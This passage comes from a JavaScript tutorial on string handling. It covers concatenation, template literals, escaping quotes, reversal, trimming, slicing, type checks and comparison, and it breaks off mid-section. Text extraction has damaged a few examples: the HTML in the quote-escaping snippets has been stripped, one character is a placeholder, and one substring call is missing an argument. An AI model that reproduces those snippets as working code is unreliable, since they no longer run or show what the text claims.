var intString = (5232).toString(); // "5232" var booleanString = (false).toString(); // "false" var objString = ({}).toString(); // "[object Object]"

Strings also can be created by using String.fromCharCode method.

String.fromCharCode(104,101,108,108,111) //"hello"

Creating a String object using new keyword is allowed, but is not recommended as it behaves like Objects unlike primitive strings.

var objectString = new String("Yes, I am a String object"); typeof objectString;//"object" typeof objectString.valueOf();//"string"

https://riptutorial.com/ 499 Concatenating Strings

String concatenation can be done with the + concatenation operator, or with the built-in concat() method on the String object prototype.

var foo = "Foo"; var bar = "Bar"; console.log(foo + bar); // => "FooBar" console.log(foo + " " + bar); // => "Foo Bar"

foo.concat(bar) // => "FooBar" "a".concat("b", " ", "d") // => "ab d"

Strings can be concatenated with non-string variables but will type-convert the non-string variables into strings.

var string = "string"; var number = 32; var boolean = true;

console.log(string + number + boolean); // "string32true"

String Templates

6

Strings can be created using template literals (backticks) `hello`.

var greeting = `Hello`;

With template literals, you can do string interpolation using ${variable} inside template literals:

var place = `World`; var greet = `Hello ${place}!`

console.log(greet); // "Hello World!"

You can use String.raw to get backslashes to be in the string without modification.

`a\\b` // = a\b String.raw`a\\b` // = a\\b

Escaping quotes

If your string is enclosed (i.e.) in single quotes you need to escape the inner literal quote with backslash \

https://riptutorial.com/ 500 var text = 'L\'albero means tree in Italian'; console.log( text ); \\ "L'albero means tree in Italian"

Same goes for double quotes:

var text = "I feel \"high\"";

Special attention must be given to escaping quotes if you're storing HTML representations within a String, since HTML strings make large use of quotations i.e. in attributes:

var content = "

Hello World!

"; // valid String var hello = '

I\'d like to say "Hi"

'; // valid String

Quotes in HTML strings can also be represented using ' (or ') as a single quote and " ( or ") as double quotes.

var hi = "

I'd like to say "Hi"

"; // valid String var hello = '

I'd like to say "Hi"

'; // valid String

Note: The use of ' and " will not overwrite double quotes that browsers can automatically place on attribute quotes. For example

being made to

, using " can lead to

where \" will be

.

6

If a string has ' and " you may want to consider using template literals (also known as template strings in previous ES6 editions), which do not require you to escape ' and ". These use backticks (`) instead of single or double quotes.

var x = `"Escaping " and ' can become very annoying`;

Reverse String

The most "popular" way of reversing a string in JavaScript is the following code fragment, which is quite common:

function reverseString(str) { return str.split('').reverse().join(''); }

reverseString('string'); // "gnirts"

However, this will work only so long as the string being reversed does not contain surrogate pairs. Astral symbols, i.e. characters outside of the basic multilingual plane, may be represented by two code units, and will lead this naive technique to produce wrong results. Moreover, characters with combining marks (e.g. diaeresis) will appear on the logical "next" character instead of the original one it was combined with. https://riptutorial.com/ 501 '■.'.split('').reverse().join(''); //fails

While the method will work fine for most languages, a truly accurate, encoding respecting algorithm for string reversal is slightly more involved. One such implementation is a tiny library called Esrever, which uses regular expressions for matching combining marks and surrogate pairs in order to perform the reversing perfectly.

Explanation

Section Explanation Result

str The input string "string"

Splits string str into an array. The String.prototype.split( ["s","t","r","i","n","g"] deliminator ) parameter "" means to split between each character.

Returns the array from the split Array.prototype.reverse() string with its elements in reverse ["g","n","i","r","t","s"] order.

Joins the elements in the array together into a string. The "" Array.prototype.join( parameter means an empty "gnirts" deliminator ) deliminator (i.e., the elements of the array are put right next to each other).

Using spread operator

6

function reverseString(str) { return [...String(str)].reverse().join(''); }

console.log(reverseString('stackoverflow')); // "wolfrevokcats" console.log(reverseString(1337)); // "7331" console.log(reverseString([1, 2, 3])); // "3,2,1"

Custom reverse() function

function reverse(string) { var strRev = ""; for (var i = string.length - 1; i >= 0; i--) { strRev += string[i]; } return strRev; }

https://riptutorial.com/ 502 reverse("zebra"); // "arbez"

Trim whitespace

To trim whitespace from the edges of a string, use String.prototype.trim:

" some whitespaced string ".trim(); // "some whitespaced string"

Many JavaScript engines, but not Internet Explorer, have implemented non-standard trimLeft and trimRight methods. There is a proposal, currently at Stage 1 of the process, for standardised trimStart and trimEnd methods, aliased to trimLeft and trimRight for compatibility.

// Stage 1 proposal " this is me ".trimStart(); // "this is me " " this is me ".trimEnd(); // " this is me"

// Non-standard methods, but currently implemented by most engines " this is me ".trimLeft(); // "this is me " " this is me ".trimRight(); // " this is me"

Substrings with slice

Use .slice() to extract substrings given two indices:

var s = "0123456789abcdefg"; s.slice(0, 5); // "01234" s.slice(5, 6); // "5"

Given one index, it will take from that index to the end of the string:

s.slice(10); // "abcdefg"

Splitting a string into an array

Use .split to go from strings to an array of the split substrings:

var s = "one, two, three, four, five" s.split(", "); // ["one", "two", "three", "four", "five"]

Use the array method .join to go back to a string:

s.split(", ").join("--"); // "one--two--three--four--five"

Strings are unicode

All JavaScript strings are unicode!

var s = "some ∆≈ƒ unicode ¡™£¢¢¢"; https://riptutorial.com/ 503 s.charCodeAt(5); // 8710

There are no raw byte or binary strings in JavaScript. To effectively handle binary data, use Typed Arrays.

Detecting a string

To detect whether a parameter is a primitive string, use typeof:

var aString = "my string"; var anInt = 5; var anObj = {}; typeof aString === "string"; // true typeof anInt === "string"; // false typeof anObj === "string"; // false

If you ever have a String object, via new String("somestr"), then the above will not work. In this instance, we can use instanceof:

var aStringObj = new String("my string"); aStringObj instanceof String; // true

To cover both instances, we can write a simple helper function:

var isString = function(value) { return typeof value === "string" || value instanceof String; };

var aString = "Primitive String"; var aStringObj = new String("String Object"); isString(aString); // true isString(aStringObj); // true isString({}); // false isString(5); // false

Or we can make use of toString function of Object. This can be useful if we have to check for other types as well say in a switch statement, as this method supports other datatypes as well just like typeof.

var pString = "Primitive String"; var oString = new String("Object Form of String"); Object.prototype.toString.call(pString);//"[object String]" Object.prototype.toString.call(oString);//"[object String]"

A more robust solution is to not detect a string at all, rather only check for what functionality is required. For example:

var aString = "Primitive String"; // Generic check for a substring method if(aString.substring) {

} https://riptutorial.com/ 504 // Explicit check for the String substring prototype method if(aString.substring === String.prototype.substring) { aString.substring(0, ); }

Comparing Strings Lexicographically

To compare strings alphabetically, use localeCompare(). This returns a negative value if the reference string is lexicographically (alphabetically) before the compared string (the parameter), a positive value if it comes afterwards, and a value of 0 if they are equal.

var a = "hello"; var b = "world";

console.log(a.localeCompare(b)); // -1

The > and < operators can also be used to compare strings lexicographically, but they cannot return a value of zero (this can be tested with the == equality operator). As a result, a form of the localeCompare() function can be written like so:

function strcmp(a, b) { if(a === b) { return 0; }

if (a > b) { return 1; }

return -1; }

console.log(strcmp("hello", "world")); // -1 console.log(strcmp("hello", "hello")); // 0 console.log(strcmp("world", "hello")); // 1

This is especially useful when using a sorting function that compares based on the sign of the return value (such as sort).

var arr = ["bananas", "cranberries", "apples"]; arr.sort(function(a, b) { return a.localeCompare(b); }); console.log(arr); // [ "apples", "bananas", "cranberries" ]

String to Upper Case

String.prototype.toUpperCase():

console.log('qwerty'.toUpperCase()); // 'QWERTY'

https://riptutorial.com/ 505 String to Lower Case

String.prototype.toLowerCase()

console.log('QWERTY'.toLowerCase()); // 'qwerty'

Word Counter

Say you have a